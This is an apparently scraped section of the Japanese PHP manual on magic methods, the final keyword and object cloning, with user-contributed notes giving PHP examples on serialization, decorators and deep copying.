michal dot kocarek at seznam dot cz 18-Apr-2008 02:34
Remember that setters and getters (__set, __get) will work in your class as long as you NOT SET the property with given name.

If you still want to have the public property definition in the class source code (phpDocumentor, editor code completition, or any other reason) when using these magic methods, simply unset() your public properties inside the constructor.
__set/__get function will be called and code reader will see at first sight, which public properties are available.

Example:
<?php
class user {
   /**
    * @var int Gets and sets the user ID
    */
   public $UserID;
   private $_userID;

   public function __construct() {

      // All the magic is in single line:
      // We unset public property, so our setters and getters
      // are used and phpDoc and editors with code completition are happy
      unset($this->UserID);

   }

   public function __set($key, $value) {
      // assign value for key UserID to _userID property
   }

   public function __get($key) {
      // return value of _userID for UserID property
   }
}
?>
dhuseby domain getback tld com 29-Feb-2008 06:22
The above hint for using array_keys((array)$obj) got me investigating how to get __sleep to really work with object hierarchies.

With PHP 5.2.3, If you want to serialize an object that is part of an object hierarchy and you want to selectively serialize members (public, private, and protected) by manually specifying the array of members, there are a few simple rules for naming members that you must follow:

1. public members should be named using just their member name, like so:

<?php
class Foo {
    public $bar;

    public function __sleep() {
        return array("bar");
    }
}
?>

2. protected members should be named using "\0" . "*" . "\0" . member name, like so:

<?php
class Foo {
    protected $bar;

    public function __sleep() {
        return array("\0*\0bar");
    }
}
?>

3. private members should be named using "\0" . class name . "\0" . member name, like so:

<?php
class Foo {
    private $bar;

    public function __sleep() {
        return array("\0Foo\0bar");
    }
}
?>

So with this information let us serialize a class hierarchy correctly:

<?php

class Base {
    private $foo = "foo_value";
    protected $bar = "bar_value";

    public function __sleep() {
        return array("\0Base\0foo", "\0*\0bar");
    }
}

class Derived extends Base {
    public $baz = "baz_value";
    private $boo = "boo_value";

    public function __sleep() {
        // we have to merge our members with our parent's
        return array_merge(array("baz", "\0Derived\0boo"), parent::__sleep());
    }
}

class Leaf extends Derived {
    private $qux = "qux_value";
    protected $zaz = "zaz_value";
    public $blah = "blah_value";

    public function __sleep() {
        // again, merge our members with our parent's
        return array_merge(array("\0Leaf\0qux", "\0*\0zaz", "blah"), parent::__sleep());
    }
}

// test it
$test = new Leaf();
$s = serialize($test);
$test2 = unserialize($s);
echo $s;
print_r($test);
print_r($test2);

?>

Now if you comment out all of the __sleep() functions and output the serialized string, you will see that the output doesn't change.  The most important part of course is that with the proper __sleep() functions, we can unserialize the string and get a properly set up object.

I hope this solves the mystery for everybody.  __sleep() does work, if you use it correctly :-)
Travis Swicegood 08-May-2007 07:43
There is no need to use eval() to mimic mixins (i.e., multiple inheritance) within PHP 5.  You only need to:

<?php

class MyClass
{
    private $_obj = null;
    public function __construct($obj)
    {
        $this->_obj = $obj;
    }

    public function __call($method, $args)
    {
        if (!method_exists($this->_obj, $method)) {
            throw new Exception("unknown method [$method]");
        }

        return call_user_func_array(
            array($this->_obj, $method),
            $args
        );
    }
}

?>

You could just as easily add an addMixin() method that would allow you to add multiple objects to an array, and then iterate over that array until you found the right method.  As noted, these are referred to as a Mixins in other languages.
Derico Filho 23-Jan-2007 07:33
Since PHP 5.2.0, you'll always get an error like this:
"Object of class foo could not be converted to string"

When one tries to use an object as string, for instance:

class Test{}
echo new Test();

Thus, one way to avoid this problem is to programme the magic method __toString.

However, in the older versions, it would output a string saying that it was an object together a unique obj id. Therefore, the __toString() method must comply with this behaviour.

My suggestion:

class Test{
    function __toString(){
        if(!isset($this->__uniqid))
            $this->__uniqid = md5(uniqid(rand(), true));
        return(get_class($this)."@".$this->__uniqid);
    }

}

echo new Test();

would output something like this:

Test@6006ba04f5569544c10a588b04849cf7
rayRO 02-Apr-2006 09:55
If you use the Magical Method '__set()', be shure that the call of
<?php
$myobject->test['myarray'] = 'data';
?>
will not appear!

For that u have to do it the fine way if you want to use __set Method ;)
<?php
$myobject->test = array('myarray' => 'data');
?>

If a Variable is already set, the __set Magic Method already wont appear!

My first solution was to use a Caller Class.
With that, i ever knew which Module i currently use!
But who needs it... :]
There are quiet better solutions for this...
Here's the Code:

<?php
class Caller {
    public $caller;
    public $module;

    function __call($funcname, $args = array()) {
        $this->setModuleInformation();

        if (is_object($this->caller) && function_exists('call_user_func_array'))
            $return = call_user_func_array(array(&$this->caller, $funcname), $args);
        else
            trigger_error("Call to Function with call_user_func_array failed", E_USER_ERROR);

        $this->unsetModuleInformation();
        return $return;
    }

    function __construct($callerClassName = false, $callerModuleName = 'Webboard') {
        if ($callerClassName == false)
            trigger_error('No Classname', E_USER_ERROR);

        $this->module = $callerModuleName;

        if (class_exists($callerClassName))
            $this->caller = new $callerClassName();
        else
            trigger_error('Class not exists: \''.$callerClassName.'\'', E_USER_ERROR);

        if (is_object($this->caller))
        {
            $this->setModuleInformation();
            if (method_exists($this->caller, '__init'))
                $this->caller->__init();
            $this->unsetModuleInformation();
        }
        else
            trigger_error('Caller is no object!', E_USER_ERROR);
    }

    function __destruct() {
        $this->setModuleInformation();
        if (method_exists($this->caller, '__deinit'))
            $this->caller->__deinit();
        $this->unsetModuleInformation();
    }

    function __isset($isset) {
        $this->setModuleInformation();
        if (is_object($this->caller))
            $return = isset($this->caller->{$isset});
        else
            trigger_error('Caller is no object!', E_USER_ERROR);
        $this->unsetModuleInformation();
        return $return;
    }

    function __unset($unset) {
        $this->setModuleInformation();
        if (is_object($this->caller)) {
            if (isset($this->caller->{$unset}))
                unset($this->caller->{$unset});
        }
        else
            trigger_error('Caller is no object!', E_USER_ERROR);
        $this->unsetModuleInformation();
    }

    function __set($set, $val) {
        $this->setModuleInformation();
        if (is_object($this->caller))
            $this->caller->{$set} = $val;
        else
            trigger_error('Caller is no object!', E_USER_ERROR);
        $this->unsetModuleInformation();
    }

    function __get($get) {
        $this->setModuleInformation();
        if (is_object($this->caller)) {
            if (isset($this->caller->{$get}))
                $return = $this->caller->{$get};
            else
                $return = false;
        }
        else
            trigger_error('Caller is no object!', E_USER_ERROR);
        $this->unsetModuleInformation();
        return $return;
    }

    function setModuleInformation() {
        $this->caller->module = $this->module;
    }

    function unsetModuleInformation() {
        $this->caller->module = NULL;
    }
}

// Well this can be a Config Class?
class Config {
    public $module;

    public $test;

    function __construct()
    {
        print('Constructor will have no Module Information... Use __init() instead!<br />');
        print('--> '.print_r($this->module, 1).' <--');
        print('<br />');
        print('<br />');
        $this->test = '123';
    }

    function __init()
    {
        print('Using of __init()!<br />');
        print('--> '.print_r($this->module, 1).' <--');
        print('<br />');
        print('<br />');
    }

    function testFunction($test = false)
    {
        if ($test != false)
            $this->test = $test;
    }
}

echo('<pre>');
$wow = new Caller('Config', 'Guestbook');
print_r($wow->test);
print('<br />');
print('<br />');
$wow->test = '456';
print_r($wow->test);
print('<br />');
print('<br />');
$wow->testFunction('789');
print_r($wow->test);
print('<br />');
print('<br />');
print_r($wow->module);
echo('</pre>');
?>

Outputs something Like:

Constructor will have no Module Information... Use __init() instead!
-->  <--

Using of __init()!
--> Guestbook <--

123

456

789

Guestbook
docey 09-Dec-2005 08:44
about __sleep and _wakeup, consider using a method like this:

class core
{

 var $sub_core; //ref of subcore
 var $_sleep_subcore; // place where serialize version of sub_core will be stored

 function core(){
  $this->sub_core = new sub_core();
  return true;
 }

 function __wakeup()
 {
  // on wakeup of core, core unserializes sub_core
  // wich it had stored when it was serialized itself
  $this->sub_core = unserialize($this->_sleep_subcore);
  return true;
 }

 function __sleep()
 {
  // sub_core will be serialized when core is serialized.
  // the serialized subcore will be stored as a string inside core.
   $this->_sleep_subcore = serialize($this->sub_core);
   $return_arr[] = "_sleep_subcore";
   return $return_arr;
 }

}

class sub_core
{
 var $info;

 function sub_core()
 {
  $this->info["somedata"] = "somedata overhere"
 }

 function __wakeup()
 {
  return true;
 }

 function __sleep()
 {
  $return_arr[] = "info"
  return $return_arr;
 }

}

this way subcore is being serialized by core when core is being serialized. subcore handles its own data and core stores it as a serialize string inside itself. on wakeup core unserializes subcore.

this may have a performance cost, but if you have many objects connected this way this is the best way of serializing them. you only need to serialize the the main object wich will serialize all those below which will serialize all those below them again. in effect causing a sort of chainreaction in wich each object takes care of its own info.

offcoarse you always need to store the eventualy serialized string in a safe place. somebody got experience with this way of __wakeup and __sleep.

works in PHP4&5
martin dot goldinger at netserver dot ch 15-Aug-2005 04:47
When you use sessions, its very important to keep the sessiondata small, due to low performance with unserialize. Every class shoud extend from this class. The result will be, that no null Values are written to the sessiondata. It will increase performance.

<?
class BaseObject
{
    function __sleep()
    {
        $vars = (array)$this;
        foreach ($vars as $key => $val)
        {
            if (is_null($val))
            {
                unset($vars[$key]);
            }
        }
        return array_keys($vars);
    }
};
?>
jeffxlevy at gmail dot com 13-Aug-2005 06:26
Intriguing what happens when __sleep() and __wakeup() and sessions() are mixed. I had a hunch that, as session data is serialized, __sleep would be called when an object, or whatever, is stored in _SESSION. true. The same hunch applied when session_start() was called. Would __wakeup() be called? True. Very helpful, specifically as I'm building massive objects (well, lots of simple objects stored in sessions), and need lots of automated tasks (potentially) reloaded at "wakeup" time. (for instance, restarting a database session/connection).
mastabog at hotmail dot com 12-Aug-2005 05:06
In reply to krisj1010 at gmail.com below:

__sleep() handles protected/private properties very well. You should never rely on get_class_vars() to retrieve property names since this function only returns the public properties. Use the Reflection API instead for that purpose. Better yet, if you know which ones you want to save it is always faster to specify the return array manually.
ddavenport at newagedigital dot com 26-Jan-2005 11:09
One of the principles of OOP is encapsulation--the idea that an object should handle its own data and no others'.  Asking base classes to take care of subclasses' data, esp considering that a class can't possibly know how many dozens of ways it will be extended, is irresponsible and dangerous.

Consider the following...

<?php
class SomeStupidStorageClass
{
  public function getContents($pos, $len) { ...stuff... }
}

class CryptedStorageClass extends SomeStupidStorageClass
{
  private $decrypted_block;
  public function getContents($pos, $len) { ...decrypt... }
}
?>

If SomeStupidStorageClass decided to serialize its subclasses' data as well as its own, a portion of what was once an encrypted thingie could be stored, in the clear, wherever the thingie was stored.  Obviously, CryptedStorageClass would never have chosen this...but it had to either know how to serialize its parent class's data without calling parent::_sleep(), or let the base class do what it wanted to.

Considering encapsulation again, no class should have to know how the parent handles its own private data.  And it certainly shouldn't have to worry that users will find a way to break access controls in the name of convenience.

If a class wants both to have private/protected data and to survive serialization, it should have its own __sleep() method which asks the parent to report its own fields and then adds to the list if applicable.  Like so....

<?php

class BetterClass
{
  private $content;

  public function __sleep()
  {
    return array('basedata1', 'basedata2');
  }

  public function getContents() { ...stuff... }
}

class BetterDerivedClass extends BetterClass
{
  private $decrypted_block;

  public function __sleep()
  {
    return parent::__sleep();
  }

  public function getContents() { ...decrypt... }
}

?>

The derived class has better control over its data, and we don't have to worry about something being stored that shouldn't be.
krisj1010 at gmail.com 09-Jan-2005 12:09
If you are attempting to write an abstract/base class which automates the __sleep process in PHP5 you will run into some trouble if the subclasses which are being serialized have private/protected variables you need to be serialized.

The reason is, even though get_class($this) within the base class will return the subclass -- get_class_vars(get_class($this)) will *not* return the subclass' protected/private variables.  Which makes sense -- using OO principles.

However, when automating __sleep it becomes necissary to have access to the private/protected subclass variables because their names have to be returned by __sleep.

So here is the work around:
<?php
public function __sleep()
{
 ... code ...
$sleepVars    = array_keys((array)$this);
return $sleepVars;
}
?>

Even though array_keys includes more information about the variable names than just the variable names -- it still seems to work appropriately.


finalキーワード

キーワード final を前に付けて定義されたメソッドは、子クラスから上書きできません。 クラス自体がfinalと定義された場合には、このクラスを拡張することはできません。

例1 finalメソッドの例

<?php
class BaseClass {
   public function test() {
       echo "BaseClass::test() called\n";
   }

   final public function moreTesting() {
       echo "BaseClass::moreTesting() called\n";
   }
}

class ChildClass extends BaseClass {
   public function moreTesting() {
       echo "ChildClass::moreTesting() called\n";
   }
}
// Results in Fatal error: Cannot override final method BaseClass::moreTesting()
?>

例2 finalクラスの例

<?php
final class BaseClass {
   public function test() {
       echo "BaseClass::test() called\n";
   }

   // As the class is already final, the final keyword is redundant
   final public function moreTesting() {
       echo "BaseClass::moreTesting() called\n";
   }
}

class ChildClass extends BaseClass {
}
// Results in Fatal error: Class ChildClass may not inherit from final class (BaseClass)
?>

注意: プロパティと定数を final として宣言することはできません。 final として宣言できるのはクラスとメソッドのみです。

User Contributed Notes

John smith 11-Aug-2017 08:59
Right way:
 final protected function example() {
}

Wrong way:

protected final function example() {
}

Source: Practices
suisuiruyi at gmail dot com 06-Jun-2016 09:07
Note: Properties cannot be declared final, only classes and methods may be declared as final.
you can use trait:
<?php
trait PropertiesTrait {
    public $same = true;
    public $different = false;
}

class PropertiesExample {
    use PropertiesTrait;
    public $same = true; // Strict Standards
    public $different = true; // 致命??
}
?>
xavier dot inghels at gmail dot com 31-Mar-2015 09:47
Final is not really about overriding or overloading a method.
PHP doesn't support (yet ?) method ovverriding.

The final keyword however prevent you to redefine a method already previously declared.
mattsch at gmail dot com 03-Jun-2014 07:24
You can use final methods to replace class constants.  The reason for this is you cannot unit test a class constant used in another class in isolation because you cannot mock a constant.   Final methods allow you to have the same functionality as a constant while keeping your code loosely coupled.

Tight coupling example (bad to use constants):

<?php
interface FooInterface
{
}

class Foo implements FooInterface
{
    const BAR = 1;

    public function __construct()
    {
    }
}

interface BazInterface
{
    public function getFooBar();
}

// This class cannot be unit tested in isolation because the actual class Foo must also be loaded to get the value of Foo::BAR
class Baz implements BazInterface
{
    private $foo;

    public function __construct(FooInterface $foo)
    {
        $this->foo = $foo;
    }

    public function getFooBar()
    {
        return Foo::BAR;
    }

}

$foo = new Foo();
$baz = new Baz($foo);
$bar = $baz->getFooBar();
?>

Loose coupling example (eliminated constant usage):

<?php
interface FooInterface
{
    public function bar();
}

class Foo implements FooInterface
{
    public function __construct()
    {
    }

    final public function bar()
    {
        return 1;
    }
}

interface BazInterface
{
    public function getFooBar();
}

// This class can be unit tested in isolation because class Foo does not need to be loaded by mocking FooInterface and calling the final bar method.
class Baz implements BazInterface
{
    private $foo;

    public function __construct(FooInterface $foo)
    {
        $this->foo = $foo;
    }

    public function getFooBar()
    {
        return $this->foo->bar();
    }

}

$foo = new Foo();
$baz = new Baz($foo);
$bar = $baz->getFooBar();
?>
cottton at i-stats dot net 12-May-2014 06:02
imo good to know:
<?php
class BaseClass
{
    protected static $var = 'i belong to BaseClass';

    public static function test()
    {
        echo '<hr>'.
            'i am `'.__METHOD__.'()` and this is my var: `'.self::$var.'`<br>';
    }
    public static function changeVar($val)
    {
        self::$var = $val;
        echo '<hr>'.
            'i am `'.__METHOD__.'()` and i just changed my $var to: `'.self::$var.'`<br>';
    }
    final public static function dontCopyMe($val)
    {
        self::$var = $val;
        echo '<hr>'.
            'i am `'.__METHOD__.'()` and i just changed my $var to: `'.self::$var.'`<br>';
    }
}

class ChildClass extends BaseClass
{
    protected static $var = 'i belong to ChildClass';

    public static function test()
    {
        echo '<hr>'.
            'i am `'.__METHOD__.'()` and this is my var: `'.self::$var.'`<br>'.
            'and this is my parent var: `'.parent::$var.'`';
    }
    public static function changeVar($val)
    {
        self::$var = $val;
        echo '<hr>'.
            'i am `'.__METHOD__.'()` and i just changed my $var to: `'.self::$var.'`<br>'.
            'but the parent $var is still: `'.parent::$var.'`';
    }
    public static function dontCopyMe($val) // Fatal error: Cannot override final method BaseClass::dontCopyMe() in ...
    {
        self::$var = $val;
        echo '<hr>'.
            'i am `'.__METHOD__.'()` and i just changed my $var to: `'.self::$var.'`<br>';
    }
}

BaseClass::test();  // i am `BaseClass::test()` and this is my var: `i belong to BaseClass`
ChildClass::test(); // i am `ChildClass::test()` and this is my var: `i belong to ChildClass`
                    // and this is my parent var: `i belong to BaseClass`
ChildClass::changeVar('something new'); // i am `ChildClass::changeVar()` and i just changed my $var to: `something new`
                                        // but the parent $var is still: `i belong to BaseClass`
BaseClass::changeVar('something different'); // i am `BaseClass::changeVar()` and i just changed my $var to: `something different`
BaseClass::dontCopyMe('a text'); // i am `BaseClass::dontCopyMe()` and i just changed my $var to: `a text`
ChildClass::dontCopyMe('a text'); // Fatal error: Cannot override final method BaseClass::dontCopyMe() in ...
?>
t at bestcodepractise dot com 22-Feb-2014 10:18
@someone
@thomas
Decorating a finalized class is not possible. The decorator that's mentioned is incomplete. There's a fundamental flaw in it. Look:
<?php
//copy'n'paste your FooBar, Foo definition

$f = new Foo;
$fd = new FooDecorator($f);

var_dump($fd instanceof $f);  //FALSE
var_dump(is_a($fd, 'Foo')); //FALSE
fooFoo($fd);  //E_RECOVERABLE_ERROR here !!!;

?>
What you've created is just an object that happens to have the same methods(a duck type). But if in the client code someone makes decision based on the type of your passed decorator they'll make incorrect decision - or to be more precise not the one that you, the author of the 'decorator' wants them to make.
FYI that's the correct implementation based on GoF:
<?php
class Foo
{
    public method doFoo()
    {
        // do something useful and return a result
    }
}

//decorator must inherit the interface(the methods, type info etc.) //of the decorated class by *extending* it.
class FooDecorator extends Foo
{
    private $foo;

    public function __construct(Foo $foo)
    {
        $this->foo = $foo;
    }

    public function doFoo()
    {
          $result = $this->foo->doFoo();
          // ... customize result ...
          return $result;
    }
}

function fooFoo(Foo $f) {}
$f = new Foo;
$fd = new FooDecorator($f);

var_dump($fd instanceof $f); //true
fooFoo($fd); //no E_RECOVERABLE_ERROR here;

?>

I haven't come across any legitimate use of a finalizing class/method and I personally think that 'final' is has no much use and is just a copy'n'pasted from Java into PHP. The keyword makes code difficult to test. If you have to create a test double from a finalized class because you'll need create a derived type to shadow the methods you don't care about. If one of them is finalized you've already lost.
someone dot else at elsewhere dot net 04-Jan-2014 10:40
@thomas at somewhere dot com

The 'final' keyword is extremely useful.  Inheritance is also useful, but can be abused and becomes problematic in large applications.  If you ever come across a finalized class or method that you wish to extend, write a decorator instead.

<?php
final class Foo
{
    public method doFoo()
    {
        // do something useful and return a result
    }
}

final class FooDecorator
{
    private $foo;

    public function __construct(Foo $foo)
    {
        $this->foo = $foo;
    }

    public function doFoo()
    {
          $result = $this->foo->doFoo();
          // ... customize result ...
          return $result;
    }
}
?>
Anonymous 28-Sep-2010 07:06
The behaviour of FINAL is not as serious as you may think. A little explample:
<?php
class A {
     final private function method(){}
}

class B extends A {
    private function method(){}
}
?>

Normally you would expect some of the following will happen:
- An error that final and private keyword cannot be used together
- No error as the private visibility says, that a method/var/etc. is only visible within the same class

But what happens is PHP is a little curios: "Cannot override final method A::method()"

So its possible to deny method names in subclasses! Don't know if this is  a good behavior, but maybe its useful for your purpose.
Baldurien 31-Aug-2010 01:37
"Note for Java developers: the 'final' keyword is not used for class constants in PHP. We use the keyword 'const'."

http://php.net/manual/en/language.oop5.constants.php

This is more or less true, regardless of the fact that constant (being defined at class level or not) in PHP are only scalar (int, string, etc) while in Java they may be pure object (ex: java.awat.Color.BLACK). The only possible solution of having such kind of constant is :

<?php
class Bar {...}
class Foo {
  public static $FOOBAR;

  static function __init() {
    static $init = false;
    if ($init) throw new Exception('Constants were already initialized');
    self::$FOOBAR = new Bar();
    $init = true;
  }
}
Foo::__init();
?>
That said, perhaps it is useless unless PHP automatically calls the __init() method.

However, one alternative that could be done in certain case is this :

<?php
function __autoload($className) {
  ... require the file where the class is ...
  if (interface_exists($className, false)) return;
  if (class_exists($className, false)) {
    $rc = new ReflectionClass($className);
    if (!$rc->hasMethod('__init')) return;
    $m = $rc->getMethod('__init');
    if (!($m->isStatic() && $m->isPrivate())) {
      throw new Exception($className . ' __init() method must be private and static !');
    }
    $m->invoke(null);
    return;
  }
  throw new Exception('Class or interface not found ' . $className);
}
?>

This can only work when one class is defined per file, since we are assured that __autoload() will be called to load the file containing the class.

eg:

test2.php:
<?php
class B {
 public static $X;
 private static function __init() {
   echo 'B', "\n";
   self::$X = array(1, 2);
 }
}
class A {
  public static $Y;
  private static function __init() {
    echo 'A', "\n";
    self::$Y = array(3, 4);
  }
}
?>
test.php:
<?php
function __autoload($n) {
  if ($n == 'A' || $n == 'B') require 'test2.php';
  ... do our __init() trick ...
}
var_dump(B::$X); // shows B, then array(2) (1, 2)
var_dump(A::$Y); // shows NULL.
?>
jriddy at gmail dot com 17-Jul-2009 02:20
Note for Java developers: the 'final' keyword is not used for class constants in PHP. We use the keyword 'const'.

http://php.net/manual/en/language.oop5.constants.php
santoshjoshi2003 at yahoo dot co dot in 05-Dec-2008 02:45
The use of final keyword is just like that occurs in Java
In java final has three uses
    1) prevent class Inheritance
    2) prevent method overriding or redifination of
        method in subclass
    3) and to declare constants
 But the third point seems to be missing from the PHP
 I guess, as i am a java developer Currently gaining competence in PHP
slorenzo at clug dot org dot ve 30-Oct-2007 11:13
<?php
class parentClass {
    public function someMethod() { }
}
class childClass extends parentClass {
    public final function someMethod() { } //override parent function
}

$class = new childClass;
$class->someMethod(); //call the override function in chield class
?>
penartur at yandex dot ru 22-Mar-2007 01:39
Note that you cannot ovverride final methods even if they are defined as private in parent class.
Thus, the following example:
<?php
class parentClass {
    final private function someMethod() { }
}
class childClass extends parentClass {
    private function someMethod() { }
}
?>
dies with error "Fatal error: Cannot override final method parentClass::someMethod() in ***.php on line 7"

Such behaviour looks slight unexpected because in child class we cannot know, which private methods exists in a parent class and vice versa.

So, remember that if you defined a private final method, you cannot place method with the same name in child class.


オブジェクトのクローン作成

オブジェクトのコピーを作成する際、そのプロパティも全て二重化することが、 常に望ましい動作であるわけではありません。 コピーコンストラクタが必要となる例として、 GTKウインドウを表すオブジェクトを有しており、 そのオブジェクトがGTKウインドウのリソースを保持している際、 コピーを作成する時に、同じプロパティを有するウインドウを作成し、 その新しいオブジェクトがその新しいウインドウのリソースを保持する ようにしたい場合が考えられます。 他の例としては、 オブジェクトがそのオブジェクトが使用する他のオブジェクトへのリファレンスを 保持しており、親オブジェクトをコピーする際に、そのコピーが独立したオブジェクトの コピーを有するように、そのオブジェクトのインスタンスを新たに作成したい場合が 考えられます。

オブジェクトのコピーは、clone キーワード (これは、そのオブジェクトの __clone() メソッドがある場合にこれをコールします)により作成されます。

$copy_of_object = clone $object;

オブジェクトのクローンが作成される際、PHP は、そのオブジェクトのプロパティを 全てシャローコピーします。他の変数へのリファレンスを保持する全てのプロパティは、 リファレンスのままとなります。

__clone ( ) : void

クローンの作成が完了すると、 __clone() メソッドが定義された場合、新規の作成されたオブジェクトの __clone() メソッドがコールされるため、この中で、プロパティに 必要な変更を行うことができます。

例1 オブジェクトのクローン作成

<?php
class SubObject
{
    static $instances = 0;
    public $instance;

    public function __construct() {
        $this->instance = ++self::$instances;
    }

    public function __clone() {
        $this->instance = ++self::$instances;
    }
}

class MyCloneable
{
    public $object1;
    public $object2;

    function __clone()
    {
        // this->object のコピーを作成します。こうしないと、
        // 同じオブジェクトを指すことになってしまいます。
        $this->object1 = clone $this->object1;
    }
}

$obj = new MyCloneable();

$obj->object1 = new SubObject();
$obj->object2 = new SubObject();

$obj2 = clone $obj;

print("元のオブジェクト\n");
print_r($obj);

print("クローンオブジェクト\n");
print_r($obj2);

?>

上の例の出力は以下となります。

元のオブジェクト
MyCloneable Object
(
    [object1] => SubObject Object
        (
            [instance] => 1
        )

    [object2] => SubObject Object
        (
            [instance] => 2
        )

)
クローンオブジェクト
MyCloneable Object
(
    [object1] => SubObject Object
        (
            [instance] => 3
        )

    [object2] => SubObject Object
        (
            [instance] => 2
        )

)

新しくクローンしたオブジェクトのメンバーに、作成したその式の中でもアクセスできます:

例2 クローンしたオブジェクトのメンバーへのアクセス

<?php
$dateTime = new DateTime();
echo (clone $dateTime)->format('Y');
?>

上の例の出力は、 たとえば以下のようになります。

2016

User Contributed Notes

tolgakaragol at gmail dot com 28-Aug-2019 07:53
Here is a basic example about clone issue. If we use clone in getClassB method. Return value will be same as new B() result. But it we dont use clone we can effect B::$varA.

class A
{
    protected $classB;

    public function __construct(){
        $this->classB = new B();
    }

    public function getClassB()
    {
        return clone $this->classB;
    }
}

class B
{
    protected $varA = 2;

    public function getVarA()
    {
        return $this->varA;
    }

    public function setVarA()
    {
        $this->varA = 3;
    }
}

$a = new A();

$classB = $a->getClassB();

$classB->setVarA();

echo $a->getClassB()->getVarA() . PHP_EOL;// with clone -> 2, without clone it returns -> 3

echo $classB->getVarA() . PHP_EOL; // returns always 3
flaviu dot chelaru at gmail dot com 11-Jun-2018 07:09
<?php

class Foo
{
    private $bar = 1;

    public function get()
    {
        $x = clone $this;
        return $x->bar;
    }
}
// will NOT throw exception.
// Foo::$bar property is visible internally even if called as external on the clone
print (new Foo)->get();
yinzw at chuchujie dot com 05-Jul-2016 01:10
It's clearly depicted in the manual, about the mechanism of clone process:
- First, shallow copy: properties of references will keep references (refer to the same target/variable)
- Then, change content/property as requested (calling __clone method which is defined by user).

To illustrate this process, the following example codes seems better, comparing the the original version:

class SubObject
{
    static $num_cons = 0;
    static $num_clone = 0;

    public $construct_value;
    public $clone_value;

    public function __construct() {
        $this->construct_value = ++self::$num_cons;
    }

    public function __clone() {
        $this->clone_value = ++self::$num_clone;
    }
}

class MyCloneable
{
    public $object1;
    public $object2;

    function __clone()
    {
        // ?制?制一?this->object， 否?仍然指向同一个?象
        $this->object1 = clone $this->object1;
    }
}

$obj = new MyCloneable();

$obj->object1 = new SubObject();
$obj->object2 = new SubObject();

$obj2 = clone $obj;

print("Original Object:\n");
print_r($obj);
echo '<br>';
print("Cloned Object:\n");
print_r($obj2);

==================

the output is as below

Original Object:
MyCloneable Object
(
    [object1] => SubObject Object
        (
            [construct_value] => 1
            [clone_value] =>
        )

    [object2] => SubObject Object
        (
            [construct_value] => 2
            [clone_value] =>
        )

)
<br>Cloned Object:
MyCloneable Object
(
    [object1] => SubObject Object
        (
            [construct_value] => 1
            [clone_value] => 1
        )

    [object2] => SubObject Object
        (
            [construct_value] => 2
            [clone_value] =>
        )

)
fabio at naoimporta dot com 21-Feb-2016 09:53
It's possible to know how many clones have been created of a  object. I'm think that is correct:

<?php

class Classe {

    public static $howManyClones = 0;

    public function __clone() {
        ++static::$howManyClones;
    }

    public static function howManyClones() {
        return static::$howManyClones;
    }

    public function __destruct() {
        --static::$howManyClones;
    }
}

$a = new Classe;

$b = clone $a;
$c = clone $b;
$d = clone $c;

echo 'Clones:' . Classe::howManyClones() . PHP_EOL;

unset($d);

echo 'Clones:' . Classe::howManyClones() . PHP_EOL;
jason at jewelrysupply dot com 24-Sep-2015 09:44
@DPB

I believe the two functions are not quite the same. The serialize followed by deserialize method is the way I've done deep cloning in other languages (bypasses any weird clone function behavior and ensures you have a no-strings-attached copy of the object).
stanislav dot eckert at vizson dot de 13-Dec-2014 12:53
This base class automatically clones attributes of type object or array values of type object recursively. Just inherit your own classes from this base class.

<?php
    class clone_base
    {
        public function __clone()
        {
            $object_vars = get_object_vars($this);

            foreach ($object_vars as $attr_name => $attr_value)
            {
                if (is_object($this->$attr_name))
                {
                    $this->$attr_name = clone $this->$attr_name;
                }
                else if (is_array($this->$attr_name))
                {
                    // Note: This copies only one dimension arrays
                    foreach ($this->$attr_name as &$attr_array_value)
                    {
                        if (is_object($attr_array_value))
                        {
                            $attr_array_value = clone $attr_array_value;
                        }
                        unset($attr_array_value);
                    }
                }
            }
        }
    }
?>

Example:
<?php
    class foo extends clone_base
    {
        public $attr = "Hello";
        public $b = null;
        public $attr2 = array();

        public function __construct()
        {
            $this->b = new bar("World");
            $this->attr2[] = new bar("What's");
            $this->attr2[] = new bar("up?");
        }
    }

    class bar extends clone_base
    {
        public $attr;

        public function __construct($attr_value)
        {
            $this->attr = $attr_value;
        }
    }

    echo "<pre>";

    $f1 = new foo();
    $f2 = clone $f1;
    $f2->attr = "James";
    $f2->b->attr = "Bond";
    $f2->attr2[0]->attr = "Agent";
    $f2->attr2[1]->attr = "007";

    echo "f1.attr = " . $f1->attr . "\n";
    echo "f1.b.attr = " . $f1->b->attr . "\n";
    echo "f1.attr2[0] = " . $f1->attr2[0]->attr . "\n";
    echo "f1.attr2[1] = " . $f1->attr2[1]->attr . "\n";
    echo "\n";
    echo "f2.attr = " . $f2->attr . "\n";
    echo "f2.b.attr = " . $f2->b->attr . "\n";
    echo "f2.attr2[0] = " . $f2->attr2[0]->attr . "\n";
    echo "f2.attr2[1] = " . $f2->attr2[1]->attr . "\n";
?>
jojor at gmx dot net 07-Jun-2010 01:47
Here is test script i wrote to test the behaviour of clone when i have arrays with primitive values in my class - as an additonal test of the note below by jeffrey at whinger dot nl

<pre>
<?php

class MyClass {

    private $myArray = array();
    function pushSomethingToArray($var) {
        array_push($this->myArray, $var);
    }
    function getArray() {
        return $this->myArray;
    }

}

//push some values to the myArray of Mainclass
$myObj = new MyClass();
$myObj->pushSomethingToArray('blue');
$myObj->pushSomethingToArray('orange');
$myObjClone = clone $myObj;
$myObj->pushSomethingToArray('pink');

//testing
print_r($myObj->getArray());     //Array([0] => blue,[1] => orange,[2] => pink)
print_r($myObjClone->getArray());//Array([0] => blue,[1] => orange)
//so array  cloned

?>
</pre>
emile at webflow dot nl 02-Mar-2010 01:27
Another gotcha I encountered: like __construct and __desctruct, you must call parent::__clone() yourself from inside a child's __clone() function. The manual kind of got me on the wrong foot here: "An object's __clone() method cannot be called directly."
ben at last dot fm 05-Jun-2009 10:33
Here are some cloning and reference gotchas we came up against at Last.fm.

1. PHP treats variables as either 'values types' or 'reference types', where the difference is supposed to be transparent. Object cloning is one of the few times when it can make a big difference. I know of no programmatic way to tell if a variable is intrinsically a value or reference type. There IS however a non-programmatic ways to tell if an object property is value or reference type:

<?php

class A { var $p; }

$a = new A;
$a->p = 'Hello'; // $a->p is a value type
var_dump($a);

/*
object(A)#1 (1) {
  ["p"]=>
  string(5) "Hello" // <-- no &
}
*/

$ref =& $a->p; // note that this CONVERTS $a->p into a reference type!!
var_dump($a);

/*
object(A)#1 (1) {
  ["p"]=>
  &string(5) "Hello" // <-- note the &, this indicates it's a reference.
}
*/

?>

2. unsetting all-but-one of the references will convert the remaining reference back into a value. Continuing from the previous example:

<?php

unset($ref);
var_dump($a);

/*
object(A)#1 (1) {
  ["p"]=>
  string(5) "Hello"
}
*/

?>

I interpret this as the reference-count jumping from 2 straight to 0. However...

